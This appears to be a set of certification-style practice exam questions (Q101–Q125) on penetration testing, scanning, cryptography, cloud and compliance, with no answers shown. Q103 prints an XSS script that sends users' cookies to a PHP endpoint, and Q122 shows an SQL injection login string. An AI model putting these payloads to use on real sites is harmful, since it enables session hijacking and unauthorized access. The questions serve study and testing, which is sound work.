Q101. Henry is a cyber security specialist hired by BlackEye Cyber Security Solutions. He was tasked with discovering the operating system (OS) of a host. He used the Unicornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which indicates that

the target system is running a Windows OS. Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

1. 138
2. 255
3. 64
4. 128

Q102. Bob was recently hired by a medical company after it experienced a major cyber security breach. Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search. Bob's boss is very worried because of regulations that protect those data. Which of the following regulations is mostly violated?

1. ISO 2002
2. HIPAA/PHI
3. PCI DSS
4. PII

Q103. Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:

<script>

document.write('<img src="https://localhost/submitcookie.php? cookie ='+

escape(document.cookie) + '" />);

</script>

What issue occurred for the users who clicked on the image?

1. The code is a virus that is attempting to gather the user's username and password.
2. This php file silently executes the code and grabs the user's session cookie and session ID.
3. The code injects a new cookie to the browser.
4. The code redirects the user to another site.

Q104. A professional hacker, was hired by an organization to gather sensitive information about its competitors surreptitiously. Clark gathers the server IP address of the target organization using Whois footprinting. Further, he entered the server IP address as an input to an online tool to retrieve information such as the network range of the target organization and to identify the network topology and operating system used in the network. What is the online tool employed by Clark in the above scenario?

1. AOL
2. DuckDuckGo
3. Baidu
4. ARIN

Q105. You are a penetration tester and are about to perform a scan on a specific server. The agreement that you signed with the client contains the following specific condition for the scan: "The attacker must scan every port on the server several times using a set of spoofed source IP addresses." Suppose that you are using Nmap to perform this scan. What flag will you use to satisfy this requirement?

1. The -f flag
2. The -A flag
3. The -g flag
4. The -D flag

Q106. Consider the following Nmap output:

Starting Nmap X.XX (http://nmap.org) at XXX-XX-XX XX:XX EDT
Nmap scan report for 192.168.1.42 Host is up (0.00023s latency).
Not shown: 932 filtered ports, 56 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop3
143/tcp open imap
443/tcp open https
465/tcp open smtps
587/tcp open submission
993/tcp open imaps
995/tcp open pop3s

Nmap done: 1 IP address (1 host up) scanned in 3.90 seconds

What command-line parameter could you use to determine the type and version number of the web server?

1. -SV
2. -V
3. -SS
4. -Pn

Q107. You are a penetration tester working to test the user awareness of the employees of the client XYZ. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber kill chain are you at?

1. Exploitation
2. Weaponization
3. Command and control
4. Reconnaissance

Q108. Dorian is sending a digitally signed email to Polly. With which key is Dorian signing this message and haw is Poly validating it?

1. Dorian is signing the message with Poly's private key, and Poly will verify that the message came from Dorian by using Dorian's public key.
2. Dorian is signing the message with Poly's public key, and Poly will verify that the message came from Dorian by using Dorian's public key.
3. Dorian is signing the message with his private key, and Poly will verify that the message came from Dorian by using Dorian's public key.
4. Dorian is signing the message with his public key, and Poly will verify that the message came from Dorian by using Dorian's private key.

Q109. Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company. This includes using logos, formatting, and names of the target company. The phishing message will often use the name of the company CEO, President, or Managers. The time a hacker spends performing research to locate this information about a company is known as?

1. Exploration
2. Investigation
3. Enumeration
4. Reconnaissance

Q110. A newly joined employee, Janet, has been allocated an existing system used by a previous employee. Before issuing the system to Janet, it was assessed by Martin, the

administrator. Martin found that there were possibilities of compromise through user directories, registries, and other system parameters. He also identified vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors. What is the type of vulnerability assessment performed by Martin?

1. Credentialed assessment
2. Host-based assessment
3. Distributed assessment
4. Database assessment

Q111. Morris, a professional hacker, performed a vulnerability scan on a target organization by sniffing the traffic on the network to identify the active systems, network services, applications, and vulnerabilities. He also obtained the list of the users who are currently accessing the network. What is the type of vulnerability assessment that Morris performed on the target organization?

1. External assessment
2. Passive assessment
3. Internal assessment
4. Credentialed assessment

Q112. To create a botnet, the attacker can use several techniques to scan vulnerable machines. The attacker first collects information about a large number of vulnerable machines to create a list. Subsequently, they infect the machines. The list is divided by assigning half of the list to the newly compromised machines. The scanning process runs simultaneously. This technique ensures the spreading and installation of malicious code in little time. Which technique is discussed here?

1. Topological scanning technique
2. Hit-list scanning technique
3. Permutation scanning technique
4. Subnet scanning technique

Q113. John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker installed a scanner on a machine belonging to ane of the victims and scanned several machines on the same network to identify vulnerabilities to perform further exploitation. What is the type of vulnerability assessment tool employed by John in the above scenario?

1. Cluster scanner
2. Proxy scanner
3. Agent-based scanner
4. Network-based scanner

Q114. Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other

resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier container technology architecture. Currently, Abel is verifying and validating image contents, signing images, and sending them to the registries. Which of the following tiers of the container technology architecture is Abel currently working in?

1. Tier-3: Registries
2. Tier-1: Developer machines
3. Tier-2: Testing and accreditation systems
4. Tier-4: Orchestrators

Q115. You are using a public Wi-Fi network inside a coffee shop. Before surfing the web, you use your VPN to prevent intruders from sniffing your traffic. If you did not have a VPN, how would you identify whether someone is performing an ARP spoofing attack on your laptop?

1. You cannot identify such an attack and must use a VPN to protect your traffic.
2. You should scan the network using Nmap to check the MAC addresses of all the hosts and look for duplicates.
3. You should check your ARP table and see if there is one IP address with two different MAC addresses.
4. You should use netstat to check for any suspicious connections with another IP address within the LAN.

Q116 Jane invites her friends Alice and John over for a LAN party. Alice and John access Jane's wireles without a password. However, Jane has a long, complex password on her router. What attack has al occurred?

1. Wardriving
2. Piggybacking
3. Evil twin
4. Wireless sniffing

Q117. Widespread fraud at Enron, WorldCom, and Tyco led to the creation of a law that was designed to improve the accuracy and accountability of corporate disclosures. It covers accounting firms and third parties that provide financial services to some organizations and came into effect in 2002. This law is known by what acronym?

1. PCI DSS
2. FedRAMP
3. SOX
4. HIPAA

Q118. CyberTech Inc. recently experienced SQL injection attacks on its official website. The cornpany appointed Bob, a security professional, to build and incorporate defensive strategies against such attacks. Bob adopted a practice whereby only a list of entities such as the data

type, range, size, and value, which have been approved for secured access, is accepted. What is the defensive technique employed by Bob in the above scenario?

1. Enforce least privileges
2. Whitelist validation
3. Blacklist validation
4. Output encoding

Q119. Joe works as an IT administrator in an organization and has recently set up a cloud computing service the organization. To implement this service, he reached out to a telecom company for providing Inter connectivity and transport services between the organization and the cloud service provider. In the NIST cloud deployment reference architecture, under which category does the telecom company of the above scenario?

1. Cloud carrier
2. Cloud consumer
3. Cloud broker
4. Cloud auditor

Q120. Which of the following allows attackers to draw a map or outline the target organization's network infrastructure to know about the actual environment that they are going to hack.

1. Vulnerability analysis
2. Scanning networks
3. Enumeration
4. Malware analysis

Q121. You are a penetration tester tasked with testing the wireless network of your client Brakeme SA. You are attempting to break into the wireless network with the SSID "Brakeme-Internal." You realize that this network uses WPA3 encryption. Which of the following vulnerabilities is the promising to exploit?

1. Dragonblood
2. Key reinstallation attack
3. AP misconfiguration
4. Cross-site request forgery

Q122. Suppose that you test an application for the SQL injection vulnerability. You know that the backend database is based on Microsoft SQL Server. In the login/password form, you enter the following credentials:

Username: attack' or 1=1 -

Password: 123456

Based on the above credentials, which of the following SQL commands are you expecting to be executed by

the server, if there is indeed an SQL injection vulnerability?

1. select * from Users where UserName = 'attack' or 1=1 -- and UserPassword = '123456'
2. select * from Users where UserName = 'attack or 1=1 -- and UserPassword = '123456'
3. select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'
4. select * from Users where UserName = 'attack' ' or 1=1 -- and UserPassword = '123456

Q123. Larry, a security professional in an organization, has noticed some abnormalities in the user accounts on a web server. To thwart evolving attacks, he decided to harden the security of the web server by adopting a few countermeasures to secure the accounts on the web server. Which of the following countermeasures must Larry implement to secure the user accounts on the web server?

1. Retain all unused modules and application extensions
2. Limit the administrator or root-level access to the minimum number of users
3. Enable all non-interactive accounts that should exist but do not require interactive login
4. Enable unused default user accounts created during the installation of an OS

Q124. In this form of encryption algorithm, every individual block contains 64-bit data, and three keys are used, where each key consists of 56 bits. Which is this encryption algorithm?

1. AES
2. Triple Data Encryption
3. Standard IDEA
4. MD5 encryption algorithm

Q125. There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share the costs and allow each customer to enjoy lower operations expenses. One solution is for a customer to join with a group of users or organizations to share a cloud environment. What is this cloud deployment option called?

1. Public
2. Private
3. Community
4. Hybrid